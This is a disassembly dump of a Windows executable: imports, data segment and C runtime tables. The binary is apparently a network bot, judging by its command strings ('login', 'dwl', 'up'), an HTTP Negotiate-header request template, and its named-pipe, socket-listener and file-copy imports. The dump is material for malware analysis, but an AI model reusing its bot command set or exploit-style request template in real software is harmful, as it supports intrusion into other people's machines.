CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName) extrn CreateMutexA:dword ; CODE XREF: WinMain(x,x,x,x)+82p ; DATA XREF: WinMain(x,x,x,x)+82r ; HANDLE __stdcall GetCurrentProcess() extrn GetCurrentProcess:dword ; CODE XREF: sub_40F515+10p ; _doexit+10p ; DATA XREF: ... ; BOOL __stdcall GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize) extrn GetComputerNameA:dword ; CODE XREF: .text:0040FA43p ; DATA XREF: .text:0040FA43r ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn GetLocaleInfoA:dword ; CODE XREF: .text:0040FB25p ; .text:0040FD38p ; DATA XREF: ... ; BOOL __stdcall TerminateThread(HANDLE hThread, DWORD dwExitCode) extrn TerminateThread:dword ; CODE XREF: sub_4103E7+30p ; DATA XREF: sub_4103E7+30r ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+2Ep ; ___sbh_heap_init+Dp ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: _free+27p ; ___sbh_free_block+2C4p ... extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; DWORD __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation) extrn GetTimeZoneInformation:dword ; CODE XREF: _time+6Cp ; __tzset+38p ; DATA XREF: ... ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime) extrn GetSystemTime:dword ; CODE XREF: _time+17p ; DATA XREF: _time+17r ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn GetStartupInfoA:dword ; CODE XREF: start+9Fp ; __ioinit+59p ; DATA XREF: ... ; LPSTR __stdcall GetCommandLineA() extrn GetCommandLineA:dword ; CODE XREF: start+74p ; DATA XREF: start+74r ; DWORD __stdcall GetVersion() extrn GetVersion:dword ; CODE XREF: start+26p ; DATA XREF: start+26r ; BOOL __stdcall HeapDestroy(HANDLE hHeap) extrn HeapDestroy:dword ; CODE XREF: __heap_init+2Fp ; DATA XREF: __heap_init+2Fr ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: __heap_init+11p ; DATA XREF: __heap_init+11r ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn VirtualFree:dword ; CODE XREF: ___sbh_free_block+257p ; ___sbh_free_block+2B2p ; DATA XREF: ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+76p ; ___sbh_alloc_new_group+51p ; DATA XREF: ... ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+28p ; _realloc+F0p ; DATA XREF: ... ; BOOL __stdcall IsBadWritePtr(LPVOID lp, UINT_PTR ucb) extrn IsBadWritePtr:dword ; CODE XREF: _ValidateWrite(void *,uint)+Cp ; DATA XREF: _ValidateWrite(void *,uint)+Cr ; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments) extrn RaiseException:dword ; CODE XREF: __raise_exc+215p ; _CxxThrowException(x,x)+2Ep ; DATA XREF: ... ; SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem) extrn HeapSize:dword ; CODE XREF: __msize+21p ; DATA XREF: __msize+21r ; UINT __stdcall SetHandleCount(UINT uNumber) extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Dp ; DATA XREF: __ioinit+19Dr ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn GetStdHandle:dword ; CODE XREF: __ioinit+158p ; __NMSG_WRITE+143p ; DATA XREF: ... ; DWORD __stdcall GetFileType(HANDLE hFile) extrn GetFileType:dword ; CODE XREF: __ioinit+FFp ; __ioinit+166p ... ; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod) extrn SetFilePointer:dword ; CODE XREF: __lseek+4Fp ; DATA XREF: __lseek+4Fr ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn WideCharToMultiByte:dword ; CODE XREF: ___crtLCMapStringA+20Dp ; ___crtGetEnvironmentStringsA+93p ... ; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest) extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+5Ep ; ___crtLCMapStringA+A7p ; DATA XREF: ... ; ; Imports from WS2_32.DLL ; ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_40ABFE+4605p ; DATA XREF: sub_40ABFE+4605r ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_406B0C+43Dp ; DATA XREF: sub_406B0C+43Dr ; int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen) extrn getsockname:dword ; CODE XREF: sub_40634F+3DAp ; sub_406B0C+308p ... ; u_long __stdcall htonl(u_long hostlong) extrn htonl:dword ; CODE XREF: sub_40634F+4B6p ; DATA XREF: sub_40634F+4B6r ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_40634F+693p ; sub_406B0C+457p ; DATA XREF: ... ; unsigned __int32 __stdcall inet_addr(const char *cp) extrn inet_addr:dword ; CODE XREF: sub_404498+35p ; sub_40634F+27Fp ... ; int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen) extrn connect:dword ; CODE XREF: sub_404498+57p ; DATA XREF: sub_404498+57r ; int __stdcall WSACleanup() extrn WSACleanup:dword ; CODE XREF: sub_404498+6Ep ; sub_404515+16Cp ; DATA XREF: ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: sub_403C1E+62p ; sub_404498+15p ; DATA XREF: ... ; int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen) extrn setsockopt:dword ; CODE XREF: sub_403C1E+9Bp ; sub_40634F+1F9p ... ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_403C1E+B3p ; DATA XREF: sub_403C1E+B3r ; u_short __stdcall htons(u_short hostshort) extrn htons:dword ; CODE XREF: sub_403C1E+D0p ; sub_404498+41p ... ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_403C1E+ECp ; DATA XREF: sub_403C1E+ECr ; int __stdcall listen(SOCKET s, int backlog) extrn listen:dword ; CODE XREF: sub_403C1E+106p ; DATA XREF: sub_403C1E+106r ; SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen) extrn accept:dword ; CODE XREF: sub_403C1E+26Ep ; DATA XREF: sub_403C1E+26Er ; int __stdcall recv(SOCKET s, char *buf, int len, int flags) extrn recv:dword ; CODE XREF: sub_403C1E+346p ; DATA XREF: sub_403C1E+346r ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_403C1E+3F1p ; sub_404498+68p ... ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: .text:00402A94p ; sub_403C1E+79p ... ; int __stdcall send(SOCKET s, const char *buf, int len, int flags) extrn send:dword ; CODE XREF: sub_4025FE+12p ; sub_403C1E+32Ap ... ; int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout) extrn select:dword ; CODE XREF: sub_40227D+12Cp ; sub_403C1E+1C3p ; DATA XREF: ... ; int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *) extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 41C1D4h align 8 ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40288F+8Eo db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_41C218 dq 7.2e1 ; DATA XREF: sub_40265D+41r dbl_41C220 dq 6.0 ; DATA XREF: sub_40265D+16r ; sub_4026C9+82r dbl_41C228 dq 8.0 ; DATA XREF: sub_4026C9+7Cr dword_41C230 dd 0FFFFFFFFh ; sub_402D44+Br ... dword_41C234 dd 0 ; sub_41AF6B+7o dbl_41C238 dq 1.024e3 ; DATA XREF: sub_4095D3+347r ; sub_4095D3+372r ... ; char aLogin[] aLogin db 'login',0 ; DATA XREF: sub_40ABFE+BF8o align 4 ; char aFakju[] aFakju db 'fakju',0 ; DATA XREF: sub_40ABFE+221Bo align 10h ; char aUp[] aUp db 'up',0 ; DATA XREF: sub_40ABFE+3A96o align 4 ; char aDwl[] aDwl db 'dwl',0 ; DATA XREF: sub_40ABFE+406Ao ; __output+4Ar dbl_41C258 dq 3.2768e4 ; DATA XREF: .text:0040F92Er dbl_41C260 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ... dword_41C268 dd 0FFFFFFFFh, 412E33h, 412E47hbyte_41C274 db 6 ; DATA XREF: __output:loc_413B9Dr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 db 8,'`h````',0 dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h dd 8 aNull_0: ; DATA XREF: .data:off_423A84o unicode 0, <(null)>,0 align 10h aNull db '(null)',0 ; DATA XREF: .data:off_423A80o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp_2 db 'exp',0 ; DATA XREF: .data:off_423A8Co align 10h dbl_41C3A0 dq 0.0 ; DATA XREF: __handle_exc+8Cr ; __handle_exc+ACr ... dbl_41C3A8 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr dbl_41C3B0 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r ; char aIsprocessorfea[] aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo align 4 ; char aKernel32[] aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo align 10h ; char aE000[] aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o align 4 dword_41C3E8 dd 0FFFFFFFFh, 415453h, 41545Dh, 0dword_41C3F8 dd 0FFFFFFFFh, 0 dd offset sub_4155D9 align 8 dd offset sub_4155B7 dd offset sub_4155C1 dword_41C410 dd 0FFFFFFFFh, 415809h, 41580Dh, 0 ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o dword_41C420 dd 0FFFFFFFFh, 41586Bh, 415874h, 0dword_41C430 dd 0FFFFFFFFh, 0 dd offset loc_41593D align 10h dd offset loc_415929 dd offset loc_41592D dword_41C448 dd 0FFFFFFFFh, 0 dd offset loc_415993 align 8 dd offset loc_41597F dd offset loc_415983 ; char String1[] String1 db 4 dup(0) ; DATA XREF: ___crtLCMapStringA+57o ; ___crtGetStringTypeA+52o ... ; const WCHAR SrcStr SrcStr dw 0 ; DATA XREF: ___crtLCMapStringA+36o ; ___crtGetStringTypeA+39o ... align 4 dword_41C468 dd 0FFFFFFFFh, 4171CEh, 4171D2h, 0FFFFFFFFh, 417282h, 417286h ; DATA XREF: ___crtLCMapStringA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_423F7Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o align 4 ; char asc_41C734[] asc_41C734 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o db 0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o db 0Ah db 'Program: ',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do align 10h dword_41C770 dd 0FFFFFFFFh, 418BE3h, 418BE7haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 ; char VarName[] VarName db 'TZ',0 ; DATA XREF: __tzset+Ao align 10h ; char aGetlastactivep[] aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do align 4 ; char aGetactivewindo[] aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o ; char aMessageboxa[] aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o ; char aUser32_dll_0[] aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+Do align 4 ; char a1Qnan[] a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_41A15Do align 4 ; char a1Inf[] a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo align 10h dword_41C820 dd 0FFFFFFFFh, 41ABA6h, 41ABAAh, 0FFFFFFFFh, 41AC15h, 41AC19h ; DATA XREF: ___crtCompareStringA+5o dd 41C92Ch off_41C83C dd offset sub_41AF78 ; DATA XREF: sub_41AF50+8o ; sub_41AF94+2Co ... dd offset sub_41AF6B ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset sub_41B16C dd offset dword_41C978 off_41C84C dd offset sub_41AFE2 ; DATA XREF: sub_41AF94+3Ao ; sub_41AFFEo ... dd offset sub_41AF6B ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_41B1A8 dword_41C858 dd 0 ; sub_41B046+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41B009+11o dd offset dword_41C9C4 off_41C878 dd offset sub_41B0D1 ; DATA XREF: sub_41B0EDo ; sub_41B110+37o ... dd offset sub_41AF6B ; ?what@runtime_error@@UBEPBDXZ ; doubtful name dd offset loc_41B18A aStringTooLong db 'string too long',0 ; DATA XREF: sub_41B110+11o dd offset dword_41CA08 off_41C898 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o ; .data:off_424804o ... ; type_info::`scalar deleting destructor'(uint) dd offset dword_41CA38 off_41C8A0 dd offset sub_41B203 ; DATA XREF: exception::exception(char const * const &)+8o ; exception::exception(exception const &)+8o ... dd offset unknown_libname_9 ; Microsoft VisualC 2-8/net runtime aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_9+7o align 10h dword_41C8C0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41C8E0 dd offset off_424804 ; DATA XREF: .rdata:0041C914o ; .rdata:0041C960o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41C8F8 dd offset off_42481C ; DATA XREF: .rdata:0041C910o ; .rdata:0041C95Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41C8F8 dd offset off_41C8E0 dword_41C918 dd 3 dup(0) dd 2, 41C910h, 3 dup(0) dd offset off_42481C dd offset dword_41C918+4 off_41C940 dd offset off_42483C ; DATA XREF: .rdata:0041C958o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41C940 dd offset off_41C8F8 dd offset off_41C8E0 dd 0 db 0 ; DATA XREF: .rdata:0041C988o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41C958h dword_41C978 dd 3 dup(0) dd offset off_42483C dd offset unk_41C968 off_41C98C dd offset off_42485C ; DATA XREF: .rdata:0041C9A4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41C98C dd offset off_41C8F8 dd offset off_41C8E0 dword_41C9B0 dd 3 dup(0) dd 3, 41C9A4h dword_41C9C4 dd 3 dup(0) dd offset off_42485C dd offset dword_41C9B0+4 off_41C9D8 dd offset off_424880 ; DATA XREF: .rdata:0041C9F0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41C9D8 dd 0 db 0 ; DATA XREF: .rdata:0041CA18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 41C9F0h dword_41CA08 dd 3 dup(0) dd offset off_424880 dd offset unk_41C9F8 dd offset off_41C8E0 dword_41CA20 dd 4 dup(0) dd 1, 41CA1Ch dword_41CA38 dd 3 dup(0) dd offset off_424804 dd offset dword_41CA20+8 align 10h stru_41CA50 dd 19930520h ; Magic ; DATA XREF: .text:loc_41B324o dd 2 ; Count dd offset stru_41CA50.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_41B30D ; Info.Proc dd 0 ; Info.Id dd offset sub_41B304 ; Info.Proc stru_41CA80 dd 19930520h ; Magic ; DATA XREF: sub_41B340o dd 2 ; Count dd offset stru_41CA80.Info; InfoPtr dd 0 ; CountDtr dd 0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd offset sub_41B32E ; Info.Proc dd 0 ; Info.Id dd offset sub_41B337 ; Info.Proc stru_41CAB0 dd 19930520h ; Magic ; DATA XREF: sub_41B34Co dd 2 ; Count dd offset stru_41CAB0.Info; InfoPtr dd 1 ; CountDtr dd offset stru_41CAE0 ; DtrPtr dd 3 dup(0) ; _unk dd -1 ; Info.Id dd 0 ; Info.Proc dd -1 ; Info.Id dd 0 ; Info.Proc stru_41CAE0 dd 0, 0, 1 ; _unk ; DATA XREF: .rdata:stru_41CAB0o dd 1 ; Count dd offset stru_41CAF8 ; RttiBlkPtr dd 0 stru_41CAF8 _msRttiDscr <0, 0, 0, offset loc_40339B> ; DATA XREF: .rdata:stru_41CAE0o stru_41CB08 _msExcInfo <-1, offset sub_41B356> ; DATA XREF: .rdata:stru_41CB10o stru_41CB10 _msExcept7 <19930520h, 1, offset stru_41CB08, 0, 0, 0> ; DATA XREF: .text:loc_41B35Eo align 10h dd offset off_424804 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 41B25Ch, 0 dd offset off_42481C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41B08Eh, 0 dd offset off_42483C align 10h dd 0FFFFFFFFh, 0 dword_41CB78 dd 1Ch, 41B0F8h, 3, 41CB64h, 41CB48h, 41CB2Chdword_41CB90 dd 0 ; sub_41B16C+4Bo dd offset sub_41AFFE dd 0 dd offset dword_41CB78+8 stru_41CBA0 _msExcInfo <-1, offset sub_41B368> ; DATA XREF: .rdata:stru_41CBA8o stru_41CBA8 _msExcept7 <19930520h, 1, offset stru_41CBA0, 0, 0, 0> ; DATA XREF: .text:loc_41B370o stru_41CBC4 _msExcInfo <-1, offset sub_41B37A> ; DATA XREF: .rdata:stru_41CBCCo stru_41CBCC _msExcept7 <19930520h, 1, offset stru_41CBC4, 0, 0, 0> ; DATA XREF: .text:loc_41B382o stru_41CBE8 _msExcInfo <-1, offset sub_41B38C> ; DATA XREF: .rdata:stru_41CBF0o stru_41CBF0 _msExcept7 <19930520h, 1, offset stru_41CBE8, 0, 0, 0> ; DATA XREF: .text:loc_41B394o align 10h dd offset off_42485C align 8 dd 0FFFFFFFFh, 0 dword_41CC20 dd 1Ch, 41B154h, 3, 41CC0Ch, 41CB48h, 41CB2Chdword_41CC38 dd 0 ; sub_41B16C+2Do dd offset sub_41B0ED dd 0 dd offset dword_41CC20+8 stru_41CC48 _msExcInfo <-1, offset sub_41B39E> ; DATA XREF: .rdata:stru_41CC50o stru_41CC50 _msExcept7 <19930520h, 1, offset stru_41CC48, 0, 0, 0> ; DATA XREF: .text:loc_41B3A6o dword_41CC6C dd 2, 41CB48h, 41CB2Chdword_41CC78 dd 0 dd offset sub_41AF50 dd 0 dd offset dword_41CC6C dd 1CE44h, 2 dup(0) dd 1CE9Ch, 1C180h, 1CCC4h, 2 dup(0) dd 1D54Eh, 1C000h, 5 dup(0) dd 1D146h, 1D534h, 1D522h, 1D510h, 1D500h, 1D4ECh, 1D4DCh dd 1D4CAh, 1D4B8h, 1D4A8h, 1D498h, 1D47Ah, 1D460h, 1D448h dd 1D42Eh, 1D414h, 1D3F8h, 1D3ECh, 1D3E2h, 1D3D6h, 1D3C6h dd 1CEA8h, 1CEBEh, 1CEC6h, 1CED2h, 1CEDEh, 1CEF2h, 1CF00h dd 1CF0Eh, 1CF24h, 1CF32h, 1CF42h, 1CF52h, 1CF6Ah, 1CF82h dd 1CF92h, 1CFBAh, 1CFD2h, 1CFDEh, 1CFF0h, 1CFFEh, 1D014h dd 1D028h, 1D036h, 1D042h, 1D05Ah, 1D070h, 1D07Ch, 1D08Ch dd 1D09Eh, 1D0B2h, 1D0C4h, 1D0D6h, 1D0E6h, 1D0FCh, 1D10Ah dd 1D118h, 1D12Ah, 1D15Ch, 1D16Ch, 1D182h, 1D194h, 1D1A6h dd 1D1B6h, 1D1C6h, 1D1D4h, 1D1EAh, 1D1F6h, 1D20Ch, 1D21Ch dd 1D230h, 1D244h, 1D256h, 1D268h, 1D274h, 1D280h, 1D28Ch dd 1D2A6h, 1D2B6h, 1D2C8h, 1D2DAh, 1D2E8h, 1D2F6h, 1D304h dd 1D312h, 1D322h, 1D330h, 1D340h, 1D352h, 1D35Eh, 1D370h dd 1D380h, 1D38Eh, 1D3A0h, 1D3B6h, 0 dd 8000000Ch, 80000014h, 80000006h, 80000008h, 8000006Fh dd 8000000Bh, 80000004h, 80000074h, 80000073h, 80000015h dd 8000000Ah, 80000009h, 80000002h, 8000000Dh, 80000001h dd 80000010h, 80000003h, 80000017h, 80000013h, 80000012h dd 80000097h, 0 aWs2_32_dll_0 db 'WS2_32.DLL',0 align 4 db 75h ; u db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 356h aSleep db 'Sleep',0 dw 2B5h aReadfile db 'ReadFile',0 align 2 dw 3A4h aWritefile db 'WriteFile',0 dw 368h aTransactnamedp db 'TransactNamedPipe',0 a4_0 db '4',0 aClosehandle db 'CloseHandle',0 aS_5 db 'S',0 aCreatefilea db 'CreateFileA',0 dw 17Dh aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db '',0 aExitthread db 'ExitThread',0 align 2 dw 171h aGetlasterror db 'GetLastError',0 align 2 aO db 'o',0 aCreatethread db 'CreateThread',0 align 2 dw 251h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aS_6 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 1DFh aGettickcount db 'GetTickCount',0 align 2 dw 224h aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritical db 'DeleteCriticalSection',0 db '',0 aFindclose db 'FindClose',0 db '',0 aFindfirstfilea db 'FindFirstFileA',0 align 10h aG db '',0 aDeletefilea db 'DeleteFileA',0 dw 319h aSetfileattribu db 'SetFileAttributesA',0 align 4 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 704F0286h dd 72506E65h, 7365636Fh, 3C30073h, 7274736Ch, 69706D63h dd 1F30041h aGetwindowsdire db 'GetWindowsDirectoryA',0 align 2 dw 1C1h aGetsystemdirec db 'GetSystemDirectoryA',0 dd 736C03C0h, 6D637274h, 4170h, 6F4C0252h, 694C6461h, 72617262h dd 4179h, 654701A0h, 6F725074h, 64644163h, 73736572h, 17F0000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 0F30000h dd 6D726F46h, 654D7461h, 67617373h, 4165h, 6E550371h, 5670616Dh dd 4F776569h, 6C694666h, 2680065h, 5670614Dh, 4F776569h dd 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 4 dd 6553031Fh, 6C694674h, 6D695465h, 1650065h, 46746547h dd 54656C69h, 656D69h, 72430066h, 65746165h, 636F7250h dd 41737365h, 0BC0000h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 15Eh aGetfileattribu db 'GetFileAttributesA',0 align 4 db 0D5h ; db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 4 db 2, 47h, 6Ch aObalmemorystat db 'obalMemoryStatus',0 align 2 dw 1E0h aGettimeformata db 'GetTimeFormatA',0 align 4 db 47h ; G db 1, 47h, 65h aTdateformata db 'tDateFormatA',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 db '',0 aExitprocess db 'ExitProcess',0 db 43h ; C db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 aC_1 db 'C',0 aCopyfilea db 'CopyFileA',0 dw 390h aWaitforsingleo db 'WaitForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 4 db 42h ; B db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 db 14h db 1, 47h, 65h aTcomputernamea db 'tComputerNameA',0 align 4 db 74h ; t db 1, 47h, 65h aTlocaleinfoa db 'tLocaleInfoA',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 10h db 0D7h ; db 2, 52h, 74h aLunwind db 'lUnwind',0 db 0E2h ; db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 1C8h aGetsystemtime db 'GetSystemTime',0 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 db 10h db 1, 47h, 65h aTcommandlinea db 'tCommandLineA',0 dw 1E8h aGetversion db 'GetVersion',0 align 4 db 14h db 2, 48h, 65h aApdestroy db 'apDestroy',0 dw 212h aHeapcreate db 'HeapCreate',0 align 4 db 83h ; db 3, 56h, 69h aRtualfree db 'rtualFree',0 dw 381h aVirtualalloc db 'VirtualAlloc',0 align 2 dw 21Ah aHeaprealloc db 'HeapReAlloc',0 db 36h ; 6 db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 0A7h ; db 2, 52h, 61h aIseexception db 'iseException',0 align 2 dw 21Ch aHeapsize db 'HeapSize',0 align 2 dw 324h aSethandlecount db 'SetHandleCount',0 align 10h db 0B9h ; db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 10h db 66h ; f db 1, 47h, 65h aTfiletype db 'tFileType',0 dw 31Bh aSetfilepointer db 